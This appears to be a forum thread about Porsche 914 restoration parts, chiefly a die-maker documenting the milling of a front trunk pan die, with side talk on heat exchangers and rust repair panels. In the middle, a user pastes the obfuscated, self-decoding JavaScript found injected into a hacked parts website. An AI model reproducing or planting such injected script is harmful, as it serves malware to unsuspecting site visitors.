Alright, I spoke a while back that I was going to start producing the Front trunk pan. I already have all the steel and all the CAD work done, so all I need to do is prep the steel and start cutting!
I wanted to start a thread here for all to follow the progress and also to get a better idea of what goes on at Restoration Design. I am the one in charge of designing and making all the dies here for the 914, 911, 912, and 356's. I have only made two small dies( pedal cluster support, seat mount bracket) for the 914 so far so I wanted to make something else that was in need. I started with an NOS full floor pan. The one that runs from the firewall all the way to the front trunk pan. Brought that away to get a digital scan and then from there I designed the male and female halves of the die. ![]() |

The problem is John will not sell just the 914 tooling. He wants to sell his business as a whole. I don't know where he is in that process currently, but he said there was an interested party. They have been made - Mittlemotor sells them. Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth. Is that better? (IMG:style_emoticons/default/rolleyes.gif) Regarding the heat exchangers: They don't have to be SS. Just plain tin will probably outlive the cars at this stage. And yes, I would buy them for $400. Should I pre-order? |

the link to the bumpers above loads virus!! Well, what do you know, you are right!!! Looks like they got hacked and someone injected a block of malicious JavaScript code into the webpage. I removed the link in my previous posts ... (IMG:style_emoticons/default/popcorn[1].gif) |

Any details on this virus? Can't say. Firefox blocked it, but i can see the injected code when looking at the page source. Here you go: CODE var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i<l;i+=2) {if(i+1<l)o+=" + "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + " r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!84{)rt{y+xx=l;=+;" + "lc}tahce({)}}of(r=i-l;1>i0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" + "\"(9),8\\\"\\\\25\\\\05\\\\03\\\\\\\\27\\\\02\\\\00\\\\\\\\10\\\\07\\\\02\\" + "\\\\\\0I01\\\\\\\\32\\\\0H\\\\@K14\\\\0O\\\\kOsyiuxhgpzctf~Rav3gV.s{n$4i03\\"+ "\\\\\\26\\\\04\\\\03\\\\\\\\2W03\\\\\\\\07\\\\0Q\\\\04\\\\06\\\\01\\\\\\\\0" + "2\\\\05\\\\00\\\\\\\\G$\\\\?\\\\\\\\:\\\\/1#0qu\\\\r\\\\\\\\\\\\\\\"\\\\\\\\"+ "\\\\\\\"(\\\\)g7*Q&ITVKC]@DL_HiMC%Hor~u~tS3m0ul#mB`R^26\\\\02\\\\03\\\\\\\\" + "21\\\\06\\\\00\\\\\\\\31\\\\04\\\\03\\\\\\\\33\\\\0D\\\\34\\\\00\\\\01\\\\\\"+ "\\01\\\\07\\\\01\\\\\\\\25\\\\0=\\\\>3\\\"\\\\f(;} ornture;}))++(y)^(iAtdeC" + "oarchx.e(odrChamCro.fngriSt+=;o27=1y%+;y+9)<8(iif){++;i<l;i=0(ior;fthnglex." + "l=\\\\,\\\\\\\"=\\\",o iar{vy)x,f(n ioctun\\\"f)\")" ; while(x=eval(x)); |

I had spoke to John at one point about the tooling for the heat exchangers. He's not interested in selling, or selling them ad units. He's currently producing the complete heat exchangers for a party overseas that is reselling them. Pretty much he would make complete units but there would have to be a commitment for 300 sets to make it even close to cost effective.

(IMG:style_emoticons/default/agree.gif) Stainless HE's are nice and all, but seems a lot like overkill to me, especially considering the life our cars are living now-a-days. I think mild steel is plenty for what we need. And more importantly, would be offering slightly larger pipe sizes.
Offer them in a ceramic coating option, and you have something that's cheaper to produce, and will likely last just as long as the SSIs. |

This might be the coolest thread I've ever read. Thanks, Pete, for going to the trouble of documenting the process. It's very educational.

Excellent Pete. Look like it will be done just in time for me to weld one into the 72.. I'm running out of things to weld. :-)

Thanks everyone for all the positive responses. I am glad you guys are enjoying the process.
Over the weekend I got some more milling done. The center has been gone over with a 1.25" ballnose, and will still need to be finished with a .375" ballnose to be able to reach all the tight radiuses. In the photo it is finishing the flatter areas outside of the pocket, so that I dont have to run over it with another cutter which would just be wasting time. ![]() |

He is talking about a piece that covers the corugated inside long hell hole piece behind the -4 motor mount and for -6's also. It would be u shaped with a curve and pinch weld flanges. What about 11 inch rear flairs ?? |

Maybe others can chime in but IMO the greater part of most 914s have 'hell hole' corrosion. Mine has the superficial liner completely gone. this is the spot; http://www.914world.com/bbs2/index.php?sho...p;hl=hell++hole There is a kit but it is all flat pieces that needs welding and fabrication in and of itself. If there was a preshaped piece that droped in and spot welded or riveted in place ............ then seam sealed and painted .......... that would be the ticket!!!!! It would be small and you would sell A LOT of them!!! (IMG:style_emoticons/default/aktion035.gif) I did a quick 'title' search for hell hole and got three pages worth right off the bat.
